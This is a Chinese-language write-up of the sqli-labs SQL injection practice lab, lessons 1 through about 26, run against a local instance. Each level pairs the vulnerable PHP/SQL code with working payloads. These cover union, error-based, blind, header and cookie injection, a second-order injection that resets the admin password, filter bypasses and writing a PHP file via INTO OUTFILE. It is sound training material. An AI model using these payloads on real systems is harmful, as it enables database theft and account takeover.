Sqli-labs 靶场通关学习记录

Less-1

#0x01

联合注入(0x01—0x04)

sql查询语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

单引号闭合绕过 拼接方式为id=’$id’

获取数据库

?id=-1' union select 1,2,database() --+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:security

获取表单

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users

获取字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,username,password

查询数据

?id=-1' union select 1,2,group_concat(id,username,password) from users --+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4

#0x02

sql查询语句

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

利用同0x01 ,拼接方式为id=$id

  • 利用
?id=-1 or 1=1 --+

#0x03

sql查询语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

利用同0x01,拼接方式为 id=(’$id’)

  • 利用
?id=-1') or 1=1 --+

#0x04

sql语句

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

利用同0x01,拼接方式为id=("$id")

  • 利用
?id=-1") or 1=1 --+

#0x05

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    echo 'You are in...........';
else:
    print_r(mysql_error()

拼接方式为id=’$id’,因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,这里使用floor()函数报错注入

报错注入

  • 获取数据库
?id=-1' union select 1,count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

–>返回

Welcome    Dhakkan
Duplicate entry ':security:1' for key ''
  • 获取表单

主要是利用limit()函数获取每一行的表单

?id=-1' union select 1,count(*),(concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

http://127.0.0.1/sqli-labs/Less-5/?id=-1' union select 1,count(*),(concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

http://127.0.0.1/sqli-labs/Less-5/?id=-1' union select 1,count(*),(concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 2,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

http://127.0.0.1/sqli-labs/Less-5/?id=-1' union select 1,count(*),(concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

–>返回

Welcome    Dhakkan
Duplicate entry ':emails:1' for key ''

Welcome    Dhakkan
Duplicate entry ':referers:1' for key ''

Welcome    Dhakkan
Duplicate entry ':uagents:1' for key ''

Welcome    Dhakkan
Duplicate entry ':users:1' for key ''
  • 获取字段
?id=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

?id=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

?id=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

–>返回

Welcome    Dhakkan
Duplicate entry ':id:1' for key ''

Welcome    Dhakkan
Duplicate entry ':username:1' for key ''

Welcome    Dhakkan
Duplicate entry ':password:1' for key ''
  • 获取数据
?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

?id=-1' union select 1,count(*),(concat(0x3a,(select password from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

?id=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 1,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

?id=-1' union select 1,count(*),(concat(0x3a,(select password from users limit 1,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name --+

–> 返回

Welcome    Dhakkan
Duplicate entry ':Dumb:1' for key ''

Welcome    Dhakkan
Duplicate entry ':Dumb:1' for key ''

Welcome    Dhakkan
Duplicate entry ':Angelina:1' for key ''

Welcome    Dhakkan
Duplicate entry ':I-kill-you:1' for key ''

#0x06

sql查询语句

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
    echo 'You are in...........';
else:
    print_r(mysql_error()

利用同0x05报错注入,拼接方式为 i d = " id=" id="id",这里使用updatexml()函数报错注入

  • 获取数据库
?id=-1" union select updatexml(0,concat(0x3a,(select database())),0)--+

–>返回

Welcome    Dhakkan
XPATH syntax error: ':security'
  • 获取表单
?id=-1" union select updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),0),1,1--+

–>返回

Welcome    Dhakkan
XPATH syntax error: ':users'
  • 获取字段
?id=-1" union select updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0),1,1--+

?id=-1" union select updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 5,1)),0),1,1--+

–>返回

Welcome    Dhakkan
XPATH syntax error: ':username'

Welcome    Dhakkan
XPATH syntax error: ':password'
  • 获取数据
?id=-1" union select updatexml(0,concat(0x3a,(select id from users limit 0,1)),0),1,1--+
?id=-1" union select updatexml(0,concat(0x3a,(select username from users limit 0,1)),0),1,1--+
?id=-1" union select updatexml(0,concat(0x3a,(select password from users limit 0,1)),0),1,1--+

–>返回

Welcome    Dhakkan
XPATH syntax error: ':1'

Welcome    Dhakkan
XPATH syntax error: ':Dumb'

Welcome    Dhakkan
XPATH syntax error: ':Dumb'

#0x07

sql查询语句

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
    echo 'You are in.... Use outfile......';
else:
    echo 'You have an error in your SQL syntax';
    //print_r(mysql_error());

这里把mysql_error()的回显报错给过滤了,所以这里就不能使用报错注入,只能使用布尔盲注和延时盲注,尝试手工然后放到sqlmap里面去跑

拼接方式为id=((’$id’))

这里提示use outfile

  • 利用
?id=-1')) union select 1,2,'<?php phpinfo();?>' into outfile "D:\\phpstudy_pro\\WWW\\a.php"--+

显示sql语句错误了,没关系,但是文件已经生产了,查看目录下的a.php

1    2    <?php phpinfo();?>

#0x08

sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    echo 'You are in...........'
else:
    //print_r(mysql_error());
    //echo "You have an error in your SQL syntax";    

这里把报错注入给过滤了,只能使用布尔盲注和时间盲注了,手工测试后用sqlmap跑

拼接方式 id=’$id’

这里用布尔盲注先把数据库注出来

  • 获取数据长度

可以得知长度为8

?id=-1' or length(database()) = 8--+

–>返回(如果条件成立就会有返回,否则就没有回显)

Welcome    Dhakkan
You are in...........
  • 获取数据库第一位ASCII码(二分法手工)
?id=-1' or ascii(substr(database(),1,1)) = 115--+

–>返回

Welcome    Dhakkan
You are in...........

…以此类推

剩下的可以用sqlmap直接跑出来

#0x09

sql语句

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    echo 'You are in...........';
else:
    echo 'You are in...........';

从源码可以看到if else输出的都是一样的,这样就不能用布尔盲注了,只能用时间盲注

拼接方式为id=’$id’

  • 获取数据库的长度

观察回显,这里用了if函数判断,有直接显示就是正确的,有延迟就是错误了

数据库长度为8

?id=-1' or if(length(database())=8,1,sleep(3)) --+
  • 获取数库的第一位

第一位的ASCII码为115

?id=-1' or if(ascii(substr(database(),1,1))=115,1,sleep(3)) --+

…剩下的以此类推,可以用sqlmap直接跑出来

#0x10

sql语句

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
    echo 'You are in...........';
else:
    echo 'You are in...........';

利用同0x09时间盲注,只不过id的拼接方式不同

拼接方式为id="$id"

?id=-1" or if(length(database())=8,1,sleep(3))--+

#0x11

sql语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

利用同0x01联合查询注入,不过请求方式从GET->POST,依旧使用联合查询注入

拼接方式为password=’$passwd’

  • 查询数据库

先用order by 测试出有两个字段

Username:    1
Password:    1' union select 1,database()#

–>返回

Your Login name:1
Your Password:security
  • 查询表单
1' union select 1,table_name from information_schema.tables where table_schema="security" limit 3,1#

–>返回

Your Login name:1
Your Password:users

依次往下注入即可

#0x12

sql语句

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

利用同0x11,拼接方式不同

拼接方式 username=("$username")

#0x13

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
    不输出
else:
    print_r(mysql_error());

这里不会把查询的结果显示出来,不能使用联合查询注入了,会把报错信息显示出来,可以使用报错注入

拼接方式为username=(’$uname’)

利用方式同0x05报错注入

id=-1') union select count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#

#0x14

sql语句

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
if true:
    不输出
else:
    print_r(mysql_error());

利用同0x13报错注入,id的拼接方式不同

拼接方式为 username="$uname"

id=-1" union select count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#

#0x15

sql语句

$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
    echo '<img src="../images/flag.jpg"  />';
else:
    //print_r(mysql_error());    
    echo '<img src="../images/slap.jpg"   />';

报错信息过滤掉了,这里可以使用布尔盲注,利用同0x08

拼接方式为username='$username'

  • 获取数据库长度
-1' or length(database()) = 8#

#0x16

sql语句

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
if true:
    echo '<img src="../images/flag.jpg"  />';
else:
    //print_r(mysql_error());    
    echo '<img src="../images/slap.jpg"   />';

利用同0x15的布尔盲注,只是拼接方式不同

拼接方式为username=("$uname")

  • 获取数据库长度
-1") or length(database()) = 8#

#0x17

#sql语句只查询$uname
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
#但是$uname被过滤了
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

if true:
    #更新语句,使用单引号拼接$passwd
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
    #如果有报错,就把报错信息输出出来
    if (mysql_error()):
        print_r(mysql_error());
    else:
        echo '<img src="../images/flag1.jpg"   />';    
else:
    echo '<img src="../images/slap1.jpg"   />';

u n a m e 被 过 滤 了 , 就 使 用 uname被过滤了,就使用 uname,使passwd参数,且会输出报错信息,同0x06的报错注入,使用updatexml函数注入点在 p a s s w d 上 , 拼 接 方 式 为 passwd上,拼接方式为 passwdpassword=’$passwd’

  • 获取表单(POST)
uname=admin&passwd=1' and (updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1))#submit=submit

–>返回

XPATH syntax error: ':users'

其它以此类推…

#0x18

sql语句

function check_input($value)
{
    #过滤函数
    ...
}
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    #$uname&$passwd都被过滤了
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    if select 成功:
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
        mysql_query($insert);
        print_r(mysql_error());    
    else:
        print_r(mysql_error());
    }
}

这里如果查询成功,就会跳到insert语句里边,这里有个坑需要输入正确的账号密码

insert语句有代码漏洞,没有对uagent和ip_address进行过滤,并且输出了报错信息,这里使用报错注入:

这里对User-agent头部注入

  • 获取数据库
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 192.168.1.252
User-Agent: 1',2,updatexml(1,concat(0x3a,database()),1))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.1.252
Connection: close
Referer: http://192.168.1.252/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

uname=admin&passwd=1&submit=Submit

–>返回

Your User Agent is: 1',2,updatexml(1,concat(0x3a,database()),1))#
XPATH syntax error: ':security'
  • 获取表单
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 192.168.1.252
User-Agent: 1',2,updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 3,1)),1))#
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.1.252
Connection: close
Referer: http://192.168.1.252/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

uname=admin&passwd=1&submit=Submit

–>返回

Your User Agent is: 1',2,updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 3,1)),1))#
XPATH syntax error: ':users'

其它以此类推…

#0x19

sql语句

#$uagent是Referer的值
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

function check_input($value)
{    
    #过滤函数
    ...
}
#如果存在uname和passwd参数
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    对$uname和$passwd进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    
    #如果输入的账号密码和数据库里相匹配的话
    if($row1)
    {
        #执行insert函数
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        mysql_query($insert);
        #输出Referer和报错结果
        echo 'Your Referer is: ' .$uagent;
        print_r(mysql_error());
    }
    else
    {
        输出报错结果
        print_r(mysql_error());
    }
    

}

u n a m e 和 uname和 unamepasswd都进行了过滤,这一关的漏洞点在insert函数上,未对参数 u a g e n t 和 uagent和 uagentIP进行过滤,想要执行insert函数,就需要先输入正确的账号密码,然后因为有报错回显,所以可以使用报错注入,利用方式同0x18,不过注入点在Referer上,我这里使用extractvalue函数报错注入

  • 获取数据库[修改Referer的值]
Referer: 1',extractvalue(1,concat(0x3a,(select database() limit 0,1))))#
Upgrade-Insecure-Requests: 1

–>返回

<br>XPATH syntax error: ':security'<br>
  • 获取表单
Referer: 1',extractvalue(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 3,1))))#

–>返回

XPATH syntax error: ':users'<br>

其它以此类推…

#0x20

源代码分析

<?php
#过滤函数
function check_input($value){
    ...
}
#如果存在$uname和$passwd参数
if(isset($_POST['uname']) && isset($_POST['passwd'])){
    #对$uname和$passwd进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    #执行$sql查询
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    $cookee = $row1['username'];
    #如果输入的账号密码与数据库里相匹配
    if($row1)
    {
        #将uname的值设置给cookie里面的uname
        setcookie('uname', $cookee, time()+3600);
        else:
            print_r(mysql_error());
    }
}
else:
    #如果没有$submit参数
    if(!isset($_POST['submit'])){
        #把Cookie['name']参数的值赋予$cookee
        $cookee = $_COOKIE['uname'];
    }
    #sql语句和查询 直接从cookie读取的uname参数拼接到sql语句里
    $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
    $result=mysql_query($sql);
    #如果查询成功
    if($row)
    {
        有回显
    }
    if查询失败:
    {
        die('Issue with your mysql: ' . mysql_error());
    }
    else:
        #将uname的值给cookie里uname参数
         setcookie('uname', $row1['username'], time()-3600)
    
?>

这里主要是直接从cookie读取的uname参数拼接到了sql语句里,这里就产生了注入,有查询结果回显,且有报错,这里可以使用联合查询注入,报错注入,布尔盲注,时间盲注

因为是Less-1(基础挑战最后一关了,这里尽量把每种方法都写一下)

联合查询注入

  • 爆破数据库
Cookie:uname=-1' union select 1,2,database()#

–>返回

Your Password:security
  • 爆破表单
Cookie:uname=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

–>返回

Your Password:emails,referers,uagents,users

报错注入

  • floor函数报错注入

    • 爆破数据库
    Cookie:uname=-1' union select 1,count(*),(concat(0x3a,database(),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#
    

    –>返回

    Issue with your mysql: Duplicate entry ':security:1' for key 
    
    • 爆破表单
    Cookie:uname=-1' union select 1,count(*),(concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#
    

    –>返回

    Issue with your mysql: Duplicate entry ':users:1' for key 
    
    • 爆破字段
    Cookie:uname=-1' union select 1,count(*),(concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 4,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#
    

    –>返回

    Issue with your mysql: Duplicate entry ':username:1
    
    • 查询数据
    Cookie:uname=-1' union select 1,count(*),(concat(0x3a,(select username from users limit 0,1),0x3a,floor(rand(0)*2))) name from information_schema.tables group by name#
    

    –>返回

    Issue with your mysql: Duplicate entry ':Dumb:1' for key
    
  • updatexml函数报错注入

    • 爆破数据库
    Cookie:uname=-1' and (updatexml(1,concat(0x3a,(select database() limit 0,1)),1))#
    

    –>返回

    Issue with your mysql: XPATH syntax error: ':security
    
    • 爆破表单
    Cookie:uname=-1' and (updatexml(1,concat(0x3a,0x3a,(( select table_name from information_schema.tables where table_schema='security' limit 3,1))),1))#
    

    –>返回

    Issue with your mysql: XPATH syntax error: '::users'
    
  • extractvalue函数报错注入

    • 爆破数据库
    Cookie:uname=-1' or extractvalue(1,concat(0x3a,0x3a,(select database() limit 0,1)))#
    
    • 爆破表单
    Cookie:uname=-1' or extractvalue(1,concat(0x3a,0x3a,((select table_name from information_schema.tables where table_schema='security' limit 3,1))))#
    
  • 布尔盲注

    • 判断数据库长度为8
    Cookie:uname=-1' or length(database())=8#
    
    • 判断第一位ASCII码为115
    Cookie:uname=-1' or ascii(substr(database(),1,1))=115#
    
  • 时间盲注

    • 通过时间页面回显来判断数据库第一位ASCII码为115
    Cookie:uname=-1' or if(ascii(substr(database(),1,1))=115,1,sleep(3))#
    

总的来说联合查询注入和报错注入手工还是挺快的,如果是盲注,相比于手工sqlmap的速度更快一些

Less-2

#0x21

简单源代码分析

#过滤函数
function check_input($value)
{
    ......
}
#如果存在$_POST['uname']和$_POST['passwd']
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    #过滤用户名和密码
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);
    
    #将传入的$uname和$passwd传入sql语句中查询
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
    
    #如果传入的账号密码和数据库中的账号密码相匹配
    if($row1)
    {
        #把username的值经过base64解密赋给cookie的uname值
        setcookie('uname', base64_encode($row1['username']), time()+3600);
        print_r(mysql_error());    
    }
    else
    {
        #否则的话输出报错信息
        print_r(mysql_error());
    }
    
}
else
{
    #如果不存在$submit参数
    if(!isset($_POST['submit']))
    {
        #把Cookie里面uname的值赋给$cookee,并且经过base64解密
        $cookee = $_COOKIE['uname'];
        $cookee = base64_decode($cookee);
        #直接将$cookee的值带入sql语句查询,未进行任何过滤
        $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
        $result=mysql_query($sql);
        #如果查询失败,返回报错信息
        if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }
          #查询成功,则返回查询信息
          if($row)
          {
              返回查询信息
          }
    }
}

从源码中可以很清晰的看出来,当页面没有提交 u s e r n a m e 、 username、 usernamepasswd、 s u b m i t 参 数 的 P O S T 请 求 时 , 就 会 把 C o o k i e 里 面 的 u n a m e 值 赋 给 submit参数的POST请求时,就会把Cookie里面的uname值赋给 submitPOSTCookieunamecookee参数,然后base64解密这个参数进行sql语句的查询,解题方法同0x20,联合查询注入、报错注入、布尔盲注、时间盲注

且拼接参数为username=(’$cookee’)

  • 这里使用联合查询注入简单查一下数据库和表单

  • 查询数据库

    • 先判断字段有三个
    #上面明文 下面base64加密结果
    1') union select 1,2,3#
    MScpIHVuaW9uIHNlbGVjdCAxLDIsMyM=
    

    image-20220212094825529

    • 查询数据库
    #上面明文 下面base64加密结果
    1') union select 1,2,database()#
    MScpIHVuaW9uIHSNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
    

    image-20220212095421192

  • 查询表单

#上面明文 下面base64加密结果
1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=

image-20220212095928788

#0x22

简单源代码分析

if(!isset($_POST['submit']))
{
    $cookee = $_COOKIE['uname'];
    $cookee = base64_decode($cookee);
    $cookee1 = '"'. $cookee. '"';
    $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
}

分析源代码后,这一关除了拼接方式不同,其它都和0x21的一样

拼接方式为username="$cookee"

POST /sqli-labs/Less-22/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/sqli-labs/Less-22/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cookie:uname=MSIgIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLHBhc3N3ZCBTRVBBUkFUT1IgMHgzYzYyNzIzZSApIGZyb20gdGVzdC51c2Vyc3Mj

cookie解密后为

1"  union select 1,2,group_concat(username,passwd SEPARATOR 0x3c62723e ) from test.userss#

#0x23

简单源代码分析

<?php
$id=$_GET['id'];
#会把注释符号过滤为空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
#sql查询语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
    输出结果
else:
    输出报错信息
?>

可以看到这一关已经把注释符号#--给过滤了

可以直接使用联合查询注入

  • 查询数据库
?id=-1' union select 1,database(),3 or '1'='1

–>返回

Welcome    Dhakkan
Your Login name:security
Your Password:1
  • 查询表单
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3 or '1'='1

–>返回

Welcome    Dhakkan
Your Login name:emails,referers,uagents,users
Your Password:1

#0x24

源代码分析

  • index.php
相当于一个主页,没有什么敏感代码

image-20220212135625703

  • failed.php
检测会话,如果cookie里面没有Auth参数的话,就跳转到index.php
  • forgot_password.php
里面也没什么内容,只有一张背景图片
  • logged-in.php
登陆后的信息展示,提供了修改密码的表单
  • login_create.php

(创建新用户的代码)

#如果点击提交
if (isset($_POST['submit']))
{
    #把$username和$pass都进行了过滤
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
    
    #sql语句,查询当前用户信息
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);
      
      
      #如果用户名存在 无法注册
      #如果密码输入一样
      if ($pass==$re_pass)
      {
          #记录插入数据库中
          $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
      }
      else{
          #提示两次的密码输入结果不一样
      }
}
  • login.php
   #用户名和密码都被过滤了
   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
  • pass_change.php
    #对$pass进行了过滤
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    #如果两次密码一样
    if($pass==$re_pass)
    {
        #直接将$username拼入sql语句当中
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    }

思路分析

二次注入 简单概括就是黑客精心构造SQL语句插入数据库中,数据库报错的信息被其他类型的SQL语句调用的时候触发攻击的行为。第一次插入到数据库并没有触发危害性,而是其它语句调用的时候才会触发攻击行为,所以称为二次注入

先看创建用户的地方:

$username=  mysql_escape_string($_POST['username']) ;
危险字符转义
\\\
\'
‘’\''

看更改密码的地方:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这里直接使用单引号拼接了username,且前面未对$username进行过滤,假设我们注册的username的值为admin'#,那么此时的语句就为

UPDATE users SET PASSWORD='$pass' where username='$admin'# and password='$curr_pass' 

实现直接修改admin用户的密码

  • 先注册一个admin’#开头的用户,这里用admin’#888

image-20220212142330563

  • 数据库查询结果
mysql> select * from users where username='admin\'#888';
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 18 | admin'#888 | 123456   |
+----+------------+----------+
1 row in set (0.00 sec)
  • 现在查询admin的密码
mysql> select * from users where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | 1        |
+----+----------+----------+
1 row in set (0.00 sec)

  • 登陆admin’#888的用户,修改密码

image-20220212142508499

  • 可以看到admin的密码已经从1变成了password,admin'#888的密码还是没变,实现任意用户密码修改成功
mysql> select * from users where username='admin\'#888';
+----+------------+----------+
| id | username   | password |
+----+------------+----------+
| 18 | admin'#888 | 123456   |
+----+------------+----------+
1 row in set (0.00 sec)

mysql> select * from users where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | password |
+----+----------+----------+
1 row in set (0.00 sec)

#0x25

简单源代码分析

#如果存在GET请求$id
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    #有黑名单过滤
    $id= blacklist($id);
    #sql语句查询
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    if true:
        返回查询信息
    else:
        返回报错信息
}
#id过滤了大小写的 or 和 and
function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            
    $id= preg_replace('/AND/i',"", $id);        
    return $id;
}

可以看出只是过滤了or和and两个字符,会替换成空,可以使用双写绕过

有查询回显结果和报错回显的话使用联合查询注入或者报错注入都可以 这里使用联合查询注入

id的拼接方式为id=’$id’

  • 获取数据库
?id=-1' union select 1,2,database()--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:security
  • 获取表单
?id=-1' union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=database()--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users
  • 获取字段
?id=-1' union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name='users'--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,username,password
  • 查询数据
?id=-1' union select 1,2,group_concat(id,username,passwoorrd SEPARATOorR 0x3c62723e) from users--+

–>返回

Your Login name:2
Your Password:1Dumb1
2Angelina1
3Dummy1
4secure1
5stupid1
6superman1
7batman1
8adminpassword
9admin11

#0x25a

简单源代码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

源代码中除了id的拼接方式变了,还把报错函数mysql_error()给注释了,除了不能使用报错注入其他和0x25利用一样,这里使用联合查询注入

id的拼接方式id=$id

  • 查找表单
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

–>返回

Welcome    Dhakkan
Your Login name:2
Your Password:emails,referers,uagents,users

依次往下注入即可…

#0x26

简单源代码分析

#如果存在GET请求的id
if(isset($_GET['id']))
{
    $id=$_GET['id'];
    #黑名单过滤
    $id= blacklist($id);
    #sql语句
